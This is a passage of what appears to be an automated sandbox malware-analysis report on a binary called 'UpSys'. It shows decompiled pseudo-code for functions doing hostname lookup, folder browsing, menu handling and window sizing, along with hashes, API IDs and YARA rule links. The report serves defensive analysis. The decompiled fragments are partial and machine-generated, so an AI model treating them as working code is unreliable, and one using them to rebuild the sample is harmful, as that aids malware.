                                                                                                                                                                                                        0x14001f0d9
                                                                                                                                                                                                        0x14001f0de
                                                                                                                                                                                                        0x14001f0e9
                                                                                                                                                                                                        0x14001f0f9
                                                                                                                                                                                                        0x14001f0fb
                                                                                                                                                                                                        0x14001f100
                                                                                                                                                                                                        0x14001f103
                                                                                                                                                                                                        0x14001f10d
                                                                                                                                                                                                        0x14001f115
                                                                                                                                                                                                        0x14001f125
                                                                                                                                                                                                        0x14001f129
                                                                                                                                                                                                        0x14001f130
                                                                                                                                                                                                        0x14001f13b
                                                                                                                                                                                                        0x14001f13d
                                                                                                                                                                                                        0x14001f142
                                                                                                                                                                                                        0x14001f14a
                                                                                                                                                                                                        0x14001f151
                                                                                                                                                                                                        0x14001f15d
                                                                                                                                                                                                        0x14001f16e
                                                                                                                                                                                                        0x14001f173
                                                                                                                                                                                                        0x14001f178
                                                                                                                                                                                                        0x14001f17d
                                                                                                                                                                                                        0x14001f185
                                                                                                                                                                                                        0x14001f187
                                                                                                                                                                                                        0x14001f18c
                                                                                                                                                                                                        0x14001f191
                                                                                                                                                                                                        0x14001f19e
                                                                                                                                                                                                        0x14001f1bb

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$CriticalExitFileLeaveModuleNameProcessSectionSleep_lockfreemalloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1024173049-0
                                                                                                                                                                                                        • Opcode ID: 0a102d453b97da8a6759eea233585df209279491f55897d60b57560d27be5814
                                                                                                                                                                                                        • Instruction ID: b31110727c0c5e6a858dfba0873115f1e6598575318926c77140460a12e7d66d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0a102d453b97da8a6759eea233585df209279491f55897d60b57560d27be5814
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C121893161168092F667AB23E9007FE62A4FB8D7D4F044439BB4A8F6E6CF7AC8409341
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400408D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 22%
                                                                                                                                                                                                        			E000000011400408D0(void* __eax, void* __ebx, signed int __ecx, void* __esi, void* __ebp, void* __rax, long long __rbx, void* __rdx, void* __rsi, void* __rbp, void* __r8, long long _a8, char _a24) {
				void* _v424;
				char _v680;
				void* _t66;
				intOrPtr* _t67;

				_t66 = __r8;
				_a8 = __rbx;
				0x4001661a();
				if (__eax != 0) goto 0x400409a9;
				0x40016620();
				0x40016626();
				if (__rax == 0) goto 0x400409a9;
				_t67 =  *((intOrPtr*)(__rax + 0x18));
				if ( *_t67 ==  &_v680) goto 0x40040939;
				_t39 = _t67 + 8;
				if ( *((long long*)(_t67 + 8)) != 0) goto 0x4004092d;
				if (__ebx - 1 <= 0) goto 0x4004094e;
				E00000001140016E4C(__rdx, L"0.0.0.0");
				goto 0x400409a2;
				r8d = 4;
				E00000001140016710(1, __ebx - 1,  &_a24,  *((intOrPtr*)(_t67 + __ecx * 8 - 8)), _t66);
				0x4001662c();
				E00000001140017E10(0x100,  &_v680, _t67 + 8);
				E0000000114003FB00(0xffffffff, __esi, __ebp, _t39, __ecx,  &_v680, __rsi, __rbp);
				E00000001140016E4C(__rdx, _t39);
				0x40016a60();
				0x40016632();
				goto 0x400409b8;
				return E00000001140016E4C(__rdx, 0x4009b6c0);
			}







                                                                                                                                                                                                        0x1400408d0
                                                                                                                                                                                                        0x1400408d0
                                                                                                                                                                                                        0x1400408f0
                                                                                                                                                                                                        0x1400408f7
                                                                                                                                                                                                        0x140040907
                                                                                                                                                                                                        0x140040911
                                                                                                                                                                                                        0x140040919
                                                                                                                                                                                                        0x14004091f
                                                                                                                                                                                                        0x140040928
                                                                                                                                                                                                        0x14004092d
                                                                                                                                                                                                        0x140040937
                                                                                                                                                                                                        0x14004093b
                                                                                                                                                                                                        0x140040947
                                                                                                                                                                                                        0x14004094c
                                                                                                                                                                                                        0x14004095b
                                                                                                                                                                                                        0x140040961
                                                                                                                                                                                                        0x14004096d
                                                                                                                                                                                                        0x14004097a
                                                                                                                                                                                                        0x140040987
                                                                                                                                                                                                        0x140040995
                                                                                                                                                                                                        0x14004099d
                                                                                                                                                                                                        0x1400409a2
                                                                                                                                                                                                        0x1400409a7
                                                                                                                                                                                                        0x1400409c8

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CleanupStartupgethostbynamegethostnameinet_ntoa
                                                                                                                                                                                                        • String ID: 0.0.0.0
                                                                                                                                                                                                        • API String ID: 348263315-3771769585
                                                                                                                                                                                                        • Opcode ID: a645977774e0aa472b5fde29bb1943b9801e909711ee0c3ec278314e9d45e1d6
                                                                                                                                                                                                        • Instruction ID: 57e373c884c3c3ea6f37d9b9fb3bfa221369ccb90e4c738dcd28644f1a0b014a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a645977774e0aa472b5fde29bb1943b9801e909711ee0c3ec278314e9d45e1d6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B121813130458080FA26AB63E9513ED6391AB8C7C0F404125BB8D4B6F7DE3DCD418B05
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400416B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 39windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: HandleLoadModuleString$Message_errno
                                                                                                                                                                                                        • String ID: %s (%d) : ==> %s: %s %s
                                                                                                                                                                                                        • API String ID: 2078091845-3128320259
                                                                                                                                                                                                        • Opcode ID: 1f5caa7282acb919e4de9a6f9cd0a34c7a2b1ca0b3d176e94272a5286a0d6bd5
                                                                                                                                                                                                        • Instruction ID: b37d7dd163447b5375dcbc8a377d882e9231675a85dfd7ada3d7650662a7c433
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1f5caa7282acb919e4de9a6f9cd0a34c7a2b1ca0b3d176e94272a5286a0d6bd5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 05112D76314A8692DB668B12F954BDA6360F78C7C8F854026FB8E03A69DF3CC249C744
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003D320 Relevance: 9.2, APIs: 6, Instructions: 233COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3220332590-0
                                                                                                                                                                                                        • Opcode ID: a82d1af4e5ab4a5ec1774998ee9ea5dc3c4328d30149807b58821b121c868a1f
                                                                                                                                                                                                        • Instruction ID: 6f44ba56ca33ed5125a97bcf901916b18450014cca993dc22d9037a084a3fa40
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a82d1af4e5ab4a5ec1774998ee9ea5dc3c4328d30149807b58821b121c868a1f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 18A1E57722028186E7269F36E1007AE73A0F74CB98F145527BF9AD76A4EB38D950CB10
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006F3A0 Relevance: 9.2, APIs: 6, Instructions: 164COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E0000000114006F3A0(void* __ecx, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r10, void* __r11, void* _a8, intOrPtr* _a16, intOrPtr* _a24, long long _a40, long long _a48, long long _a56, long long _a64, signed int _a72, long long _a80, long long _a88, intOrPtr _a96, char _a104, char _a106, char _a632, char _a634, char _a1160, char _a1688, void* _a5848, char _a5856, char _a5872) {
				long long _v8;
				long long _v16;
				long long _v24;
				void* __rsi;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t81;
				long long _t118;
				intOrPtr* _t122;
				long long _t129;
				intOrPtr _t175;
				void* _t176;
				intOrPtr _t181;
				intOrPtr* _t187;
				long long _t190;

				_t180 = __r8;
				_a8 = __rbx;
				_t72 = E00000001140030CB0(0x16d0, __rax, __r10, __r11);
				_t175 =  *((intOrPtr*)(__rdx + 0x10));
				_t187 = __rcx;
				_t176 = __r8;
				r15d = 0;
				r8d = 0x208;
				_a104 = r15w;
				_t73 = E00000001140017520(_t72, __ecx, 0,  &_a106, __rdx, __r8);
				r8d = 0x206;
				_a632 = r15w;
				_t74 = E00000001140017520(_t73, __ecx, 0,  &_a634, __rdx, __r8);
				__imp__CoInitialize();
				r14d = _t74;
				__imp__SHGetMalloc();
				if (_t175 - 5 < 0) goto 0x4006f43d;
				_t118 =  *((intOrPtr*)(__rdx + 8));
				E00000001140059340( *((intOrPtr*)(_t118 + 0x20)));
				if (_t175 - 4 < 0) goto 0x4006f460;
				E00000001140062190(_t118,  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x18)));
				E00000001140016E4C( &_a632, _t118);
				if (_t175 - 3 < 0) goto 0x4006f4a4;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				_t95 =  !=  ? 0x40 : 0x200;
				if ((E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10))) & 0x00000002) == 0) goto 0x4006f490;
				_t96 = ( !=  ? 0x40 : 0x200) | 0x00000040;
				if ((E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10))) & 0x00000004) == 0) goto 0x4006f4a4;
				_t97 = ( !=  ? 0x40 : 0x200) | 0x50;
				_t122 =  *((intOrPtr*)(__rdx + 8));
				_t81 = E00000001140062190(_t122,  *((intOrPtr*)(_t122 + 8)));
				if ( *_t122 == r15w) goto 0x4006f540;
				__imp__SHGetDesktopFolder();
				if (_t81 != r15d) goto 0x4006f545;
				_a8 = _t190;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				E00000001140016E4C( &_a1160,  *((intOrPtr*)(__rdx + 8)));
				_v8 =  &_a5856;
				_v16 =  &_a8;
				_v24 =  &_a5872;
				r8d = 0;
				 *((intOrPtr*)( *_a16 + 0x18))();
				 *((intOrPtr*)( *_a16 + 0x10))();
				_a48 = _a8;
				goto 0x4006f545;
				_a48 = _t190;
				_a40 = _t118;
				_a56 =  &_a104;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				E00000001140016E4C( &_a1688,  *((intOrPtr*)(__rdx + 8)));
				_a80 = 0x14003ee30;
				_t129 =  &_a632;
				_a64 =  &_a1688;
				_a72 = ( !=  ? 0x40 : 0x200) | 0x50;
				_a96 = r15d;
				_a88 = _t129;
				__imp__SHBrowseForFolderW();
				if (_t129 == _t190) goto 0x4006f606;
				E00000001140012D80(0, _t129, _t129, _t176,  &_a104, _t175, _t180);
				__imp__SHGetPathFromIDListW();
				_t181 =  *_a24;
				 *((intOrPtr*)(_t181 + 0x28))();
				if (_a104 == r15w) goto 0x4006f62c;
				goto 0x4006f624;
				r8d = 0;
				_t67 = _t181 + 1; // 0x1
				E0000000114000FCA0(_t67,  *_t187, _t129,  *((intOrPtr*)( *_t187 + 4)) + _t187, _t175);
				E00000001140012D80(_t67,  *_t187, _t129, _t176, 0x4009b6c0, _t175, _t181);
				 *((intOrPtr*)( *_a24 + 0x10))();
				if (r14d != r15d) goto 0x4006f642;
				__imp__CoUninitialize();
				return 0;
			}



















                                                                                                                                                                                                        0x14006f3a0
                                                                                                                                                                                                        0x14006f3a0
                                                                                                                                                                                                        0x14006f3b5
                                                                                                                                                                                                        0x14006f3bd
                                                                                                                                                                                                        0x14006f3c1
                                                                                                                                                                                                        0x14006f3c4
                                                                                                                                                                                                        0x14006f3d2
                                                                                                                                                                                                        0x14006f3d7
                                                                                                                                                                                                        0x14006f3dd
                                                                                                                                                                                                        0x14006f3e6
                                                                                                                                                                                                        0x14006f3f5
                                                                                                                                                                                                        0x14006f3fb
                                                                                                                                                                                                        0x14006f404
                                                                                                                                                                                                        0x14006f413
                                                                                                                                                                                                        0x14006f41e
                                                                                                                                                                                                        0x14006f421
                                                                                                                                                                                                        0x14006f42b
                                                                                                                                                                                                        0x14006f42d
                                                                                                                                                                                                        0x14006f435
                                                                                                                                                                                                        0x14006f441
                                                                                                                                                                                                        0x14006f44b
                                                                                                                                                                                                        0x14006f45b
                                                                                                                                                                                                        0x14006f464
                                                                                                                                                                                                        0x14006f46e
                                                                                                                                                                                                        0x14006f482
                                                                                                                                                                                                        0x14006f48c
                                                                                                                                                                                                        0x14006f48e
                                                                                                                                                                                                        0x14006f49f
                                                                                                                                                                                                        0x14006f4a1
                                                                                                                                                                                                        0x14006f4a4
                                                                                                                                                                                                        0x14006f4ac
                                                                                                                                                                                                        0x14006f4b5
                                                                                                                                                                                                        0x14006f4c0
                                                                                                                                                                                                        0x14006f4c9
                                                                                                                                                                                                        0x14006f4cf
                                                                                                                                                                                                        0x14006f4d8
                                                                                                                                                                                                        0x14006f4e8
                                                                                                                                                                                                        0x14006f4fd
                                                                                                                                                                                                        0x14006f507
                                                                                                                                                                                                        0x14006f51c
                                                                                                                                                                                                        0x14006f523
                                                                                                                                                                                                        0x14006f526
                                                                                                                                                                                                        0x14006f531
                                                                                                                                                                                                        0x14006f539
                                                                                                                                                                                                        0x14006f53e
                                                                                                                                                                                                        0x14006f540
                                                                                                                                                                                                        0x14006f54d
                                                                                                                                                                                                        0x14006f552
                                                                                                                                                                                                        0x14006f55e
                                                                                                                                                                                                        0x14006f56e
                                                                                                                                                                                                        0x14006f582
                                                                                                                                                                                                        0x14006f58a
                                                                                                                                                                                                        0x14006f597
                                                                                                                                                                                                        0x14006f59c
                                                                                                                                                                                                        0x14006f5a3
                                                                                                                                                                                                        0x14006f5ab
                                                                                                                                                                                                        0x14006f5b3
                                                                                                                                                                                                        0x14006f5bf
                                                                                                                                                                                                        0x14006f5cc
                                                                                                                                                                                                        0x14006f5dc
                                                                                                                                                                                                        0x14006f5ea
                                                                                                                                                                                                        0x14006f5ed
                                                                                                                                                                                                        0x14006f5fa
                                                                                                                                                                                                        0x14006f604
                                                                                                                                                                                                        0x14006f60a
                                                                                                                                                                                                        0x14006f611
                                                                                                                                                                                                        0x14006f618
                                                                                                                                                                                                        0x14006f627
                                                                                                                                                                                                        0x14006f634
                                                                                                                                                                                                        0x14006f63a
                                                                                                                                                                                                        0x14006f63c
                                                                                                                                                                                                        0x14006f65e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Folder$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2328888689-0
                                                                                                                                                                                                        • Opcode ID: f746b3216939d1c3ef553fefab095ec68829bf5fc064ae4c61abd5a01f744059
                                                                                                                                                                                                        • Instruction ID: 338380052888cae9e9761bb029f9e2a940f22a16619247cf37885fce6844acf2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f746b3216939d1c3ef553fefab095ec68829bf5fc064ae4c61abd5a01f744059
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 80710876618B8491EB25DB17E8843DAA3A1F789BC0F908812EF8D47B69DF79C455C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008C070 Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 50%
                                                                                                                                                                                                        			E0000000114008C070(void* __ecx, void* __esi, void* __rax, long long __rbx, intOrPtr* __rcx, long long __rdx, signed int* __r8, void* __r9, void* __r10, void* __r11, long long _a8, long long _a16, void* _a24, void* _a65624, intOrPtr _a65632, int _a65648) {
				intOrPtr _v0;
				long long _v8;
				intOrPtr _v24;
				void* __rsi;
				void* __rbp;
				int _t38;
				intOrPtr _t69;
				void* _t71;
				intOrPtr _t85;
				long long _t87;
				intOrPtr _t90;
				void* _t113;
				signed int* _t115;
				void* _t116;
				intOrPtr* _t129;
				void* _t130;

				_t126 = __r10;
				_t125 = __r9;
				_t111 = __rdx;
				_a8 = __rbx;
				_a16 = __rdx;
				E00000001140030CB0(0x10050, __rax, __r10, __r11);
				_t87 =  *((intOrPtr*)(__rdx + 0x10));
				_t115 = __r8;
				_a8 = _t87;
				_t129 = __rcx;
				_a65648 = 0;
				E00000001140084540(__rax, _t87, __rcx, __rdx, __r8, __r8);
				_t6 = _t113 + 1; // 0x1
				r14d = _t6;
				_t71 = E000000011400815F0(__ecx, r14b, 0, __rax, _t87, _t129, _t111, _t116, __r9, _t126);
				if (_t71 > 0) goto 0x4008c0ee;
				if (_t71 >= 0) goto 0x4008c0db;
				r8d = 0;
				E0000000114000FCA0( ~_t34,  *_t129, _t87,  *((intOrPtr*)( *_t129 + 4)) + _t129, _t115);
				E00000001140007A40(_t87, _t115, _t115);
				 *_t115 =  *_t115 & 0;
				_t115[2] = r14d;
				goto 0x4008c262;
				GetMenu(??);
				if ( *((intOrPtr*)(_t129 + 0x350)) == 0) goto 0x4008c0db;
				r13d = 3;
				if (_t87 - _t130 < 0) goto 0x4008c22c;
				_v8 = _t87;
				_t38 = GetMenuItemCount(??);
				if (_t38 == 0) goto 0x4008c21b;
				r14d = 0;
				_v0 = _t38 - 1;
				r9d = 0x7fff;
				_v24 = 0x400;
				GetMenuStringW(??, ??, ??, ??, ??);
				_t85 = _a65632;
				E00000001140016A44(E00000001140062190(_t85,  *((intOrPtr*)(_t87 +  *((intOrPtr*)(_t85 + 8))))), _t85);
				E00000001140062190(_t85,  *((intOrPtr*)(_t87 +  *((intOrPtr*)(_t85 + 8)))));
				if (E000000011400178AC(_t85, _t125) == 0) goto 0x4008c1ab;
				r14d = r14d + 1;
				if (r14d - _v0 > 0) goto 0x4008c205;
				goto 0x4008c13c;
				_t90 = _a8;
				if (_t85 != _t90) goto 0x4008c1cf;
				_a65648 = GetMenuItemID(??, ??);
				goto 0x4008c1e4;
				GetSubMenu(??, ??);
				if (_t85 == 0) goto 0x4008c205;
				_t69 = _a65648;
				_v8 = _v8 + 8;
				r14d = 1;
				r13d = r13d + r14d;
				if (_t85 - _t90 > 0) goto 0x4008c216;
				goto 0x4008c122;
				E00000001140007A40(_v8, _t115, _t115);
				_t115[2] = 1;
				goto 0x4008c227;
				if (_t69 != 0xffffffff) goto 0x4008c22c;
				E00000001140007A40(_v8, _t115, _t115);
				_t115[2] = r14d;
				 *_t115 =  *_t115 & 0x00000000;
				goto 0x4008c262;
				E00000001140050440(r14b,  *((intOrPtr*)( *((intOrPtr*)(_t129 + 0x350)))));
				r8d = _t69;
				r9d = 0;
				PostMessageW(??, ??, ??, ??);
				E00000001140050440(0,  *((intOrPtr*)( *((intOrPtr*)(_t129 + 0x350)))));
				E00000001140040590( *((intOrPtr*)(_t129 + 0x52c)));
				return 0;
			}



















                                                                                                                                                                                                        0x14008c070
                                                                                                                                                                                                        0x14008c070
                                                                                                                                                                                                        0x14008c070
                                                                                                                                                                                                        0x14008c070
                                                                                                                                                                                                        0x14008c075
                                                                                                                                                                                                        0x14008c08a
                                                                                                                                                                                                        0x14008c092
                                                                                                                                                                                                        0x14008c098
                                                                                                                                                                                                        0x14008c09b
                                                                                                                                                                                                        0x14008c0a0
                                                                                                                                                                                                        0x14008c0a3
                                                                                                                                                                                                        0x14008c0aa
                                                                                                                                                                                                        0x14008c0af
                                                                                                                                                                                                        0x14008c0af
                                                                                                                                                                                                        0x14008c0c0
                                                                                                                                                                                                        0x14008c0c2
                                                                                                                                                                                                        0x14008c0c4
                                                                                                                                                                                                        0x14008c0cc
                                                                                                                                                                                                        0x14008c0d6
                                                                                                                                                                                                        0x14008c0de
                                                                                                                                                                                                        0x14008c0e3
                                                                                                                                                                                                        0x14008c0e5
                                                                                                                                                                                                        0x14008c0e9
                                                                                                                                                                                                        0x14008c0fc
                                                                                                                                                                                                        0x14008c108
                                                                                                                                                                                                        0x14008c10a
                                                                                                                                                                                                        0x14008c113
                                                                                                                                                                                                        0x14008c11d
                                                                                                                                                                                                        0x14008c125
                                                                                                                                                                                                        0x14008c12d
                                                                                                                                                                                                        0x14008c133
                                                                                                                                                                                                        0x14008c138
                                                                                                                                                                                                        0x14008c141
                                                                                                                                                                                                        0x14008c14d
                                                                                                                                                                                                        0x14008c155
                                                                                                                                                                                                        0x14008c15b
                                                                                                                                                                                                        0x14008c176
                                                                                                                                                                                                        0x14008c181
                                                                                                                                                                                                        0x14008c198
                                                                                                                                                                                                        0x14008c19a
                                                                                                                                                                                                        0x14008c1a2
                                                                                                                                                                                                        0x14008c1a9
                                                                                                                                                                                                        0x14008c1ab
                                                                                                                                                                                                        0x14008c1bc
                                                                                                                                                                                                        0x14008c1c6
                                                                                                                                                                                                        0x14008c1cd
                                                                                                                                                                                                        0x14008c1cf
                                                                                                                                                                                                        0x14008c1db
                                                                                                                                                                                                        0x14008c1dd
                                                                                                                                                                                                        0x14008c1e4
                                                                                                                                                                                                        0x14008c1ea
                                                                                                                                                                                                        0x14008c1f0
                                                                                                                                                                                                        0x14008c1f9
                                                                                                                                                                                                        0x14008c200
                                                                                                                                                                                                        0x14008c208
                                                                                                                                                                                                        0x14008c20d
                                                                                                                                                                                                        0x14008c214
                                                                                                                                                                                                        0x14008c219
                                                                                                                                                                                                        0x14008c21e
                                                                                                                                                                                                        0x14008c223
                                                                                                                                                                                                        0x14008c227
                                                                                                                                                                                                        0x14008c22a
                                                                                                                                                                                                        0x14008c232
                                                                                                                                                                                                        0x14008c237
                                                                                                                                                                                                        0x14008c23a
                                                                                                                                                                                                        0x14008c245
                                                                                                                                                                                                        0x14008c250
                                                                                                                                                                                                        0x14008c25d
                                                                                                                                                                                                        0x14008c27e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
